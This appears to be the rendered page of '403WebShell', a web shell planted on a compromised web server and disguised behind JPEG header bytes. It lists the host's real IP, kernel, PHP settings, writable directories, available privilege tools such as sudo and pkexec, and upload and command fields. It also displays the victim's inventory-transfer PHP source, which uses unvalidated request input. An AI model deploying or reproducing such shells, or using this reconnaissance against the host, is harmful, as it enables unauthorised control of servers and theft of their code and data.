����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.188.148.202
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/processtraspase-view.php
<?php
				


if(isset($_SESSION["traspase"])){
	$cart = $_SESSION["traspase"];
	if(count($cart)>0){
/// antes de proceder con lo que sigue vamos a verificar que:
		// haya existencia de productos
		// si se va a facturar la cantidad a facturr debe ser menor o igual al producto facturado en inventario
		$num_succ = 0;
		$process=false;
		$errors = array();
		foreach($cart as $c){
				if(isset($_POST["is_oficial"])){	
					// si llegue hasta aqui y no voy a facturar, entonces continuo ...
					$num_succ++;
				}
		}

if($num_succ==count($cart)){
	$process = true;
}

if($process==false){
$_SESSION["errors"] = $errors;
	?>	
<script>
	window.location="index.php?view=traspase";
</script>
<?php
}
//////////////////////////////////
		if($process==true){
			$iva_val = ConfigurationData::getByPreffix("imp-val")->val;
			
			$sell = new ReData();
			$sell->user_id = $_SESSION["user_id"];
			$sell->p_id = 1;
			$sell->d_id = 1;
			$sell->total = 0;
			$sell->stock_to_id = $_POST["stock_id"];
			$sell->stock_from_id = $_SESSION["stock_idTraspace"];
			
			$sell->person_id="NULL";

			$s = $sell->add_traspase();


		foreach($cart as  $c){
			if($_POST["ajust_id"]>0)
			{
				$operation_type = 2;
			}
			else
			{
				$operation_type = 1;
			if($_POST["d_id"]==2){ 
			$operation_type= 3; // 3.- entrada-pendiente 
			}
			}
			//consultamos el producto de la tabla 
			$product = ProductData::getById($c["product_id"]);
			//salida del almacen oerigen
			$op = new OperationData2();
			$op->price_in = $product->price_in;
			$op->price_out = $product->price_out;
			$op->barcode = $product->barcode;
			$op->stock_id = $_SESSION["stock_idTraspace"];
			 $op->product_id = $c["product_id"] ;
			 $op->operation_type_id=2; // 2 - salida
			 $op->re_id=$s[1];
			 $op->q = $c["q"];
			$add = $op->add();
			
		
				
				//actualizamos stock en tabla item stock origen
				$item = ProductData::getBycodeItem($product->barcode);
				//stock antes de actualizar segun el almacen
				if($_SESSION["stock_idTraspace"] == 1){
					  $origen = " almacen origen 1---";
					
					$preStock = $item->stock - $c["q"];
					$item->updateStock($product->barcode,$preStock);
					
				}elseif($_SESSION["stock_idTraspace"]== 2){
						$origen = " almacen origen 2---";
					
					$preStock2 = $item->stock2 - $c["q"];
					$item->updateStock2($product->barcode,$preStock2);
					
				}elseif($_SESSION["stock_idTraspace"] == 3){
						$origen = " almacen origen 3---";
					
					$preStock3 = $item->stock3 - $c["q"];
					$item->updateStock3($product->barcode,$preStock3);
					
				}else{
					if($_SESSION["stock_idTraspace"] == 4){
						$origen = " almacen origen 4----";
						
						$preStock4 = $item->stock4 - $c["q"];
						$item->updateStock4($product->barcode,$preStock4);
					}
				}
				
				
			
			//entrada al almacen de destino
			$op2 = new OperationData2();
			$op2->price_in = $product->price_in;
			$op2->price_out = $product->price_out;
			$op2->barcode = $product->barcode;
			$op2->stock_id = $_POST["stock_id"];
			$op->stock_destination_id = $_SESSION["stock_idTraspace"];
			 $op2->product_id = $c["product_id"] ;
			 $op2->operation_type_id=$operation_type; // 1 - entrada
			 $op2->re_id=$s[1];
			 $op2->q = $c["q"];
			$add2 = $op2->add();

			//actualizamos stock en tabla item stock destino
				if($_POST["stock_id"] == 1){
					$destino = " almacen destino 1";
					
					$preStock = $item->stock + $c["q"];
					$item->updateStock($product->barcode,$preStock);
					
				}elseif($_POST["stock_id"]== 2){
						$destino = " almacen destino 2";
					
					$preStock2 = $item->stock2 + $c["q"];
					$item->updateStock2($product->barcode,$preStock2);
					
				}elseif($_POST["stock_id"] == 3){
					$destino = " almacen destino 3";
					
					$preStock3 = $item->stock3 + $c["q"];
					$item->updateStock3($product->barcode,$preStock3);
					
				}else{
					if($_POST["stock_id"] == 4){
						$destino = " almacen destino 4";
						
						$preStock4 = $item->stock4 + $c["q"];
						$item->updateStock4($product->barcode,$preStock4);
					}
				}
			
			

			unset($_SESSION["traspase"]);
			//setcookie("selled","selled");
		}
////////////////////
print "<script>alert('Traspaso de ".$origen." a  ".$destino."');</script>";
 
 print "<script>window.location='index.php?view=onetraspase&id=$s[1]';</script>";
		}
	}
}



?>

Youez - 2016 - github.com/yon3zu
LinuXploit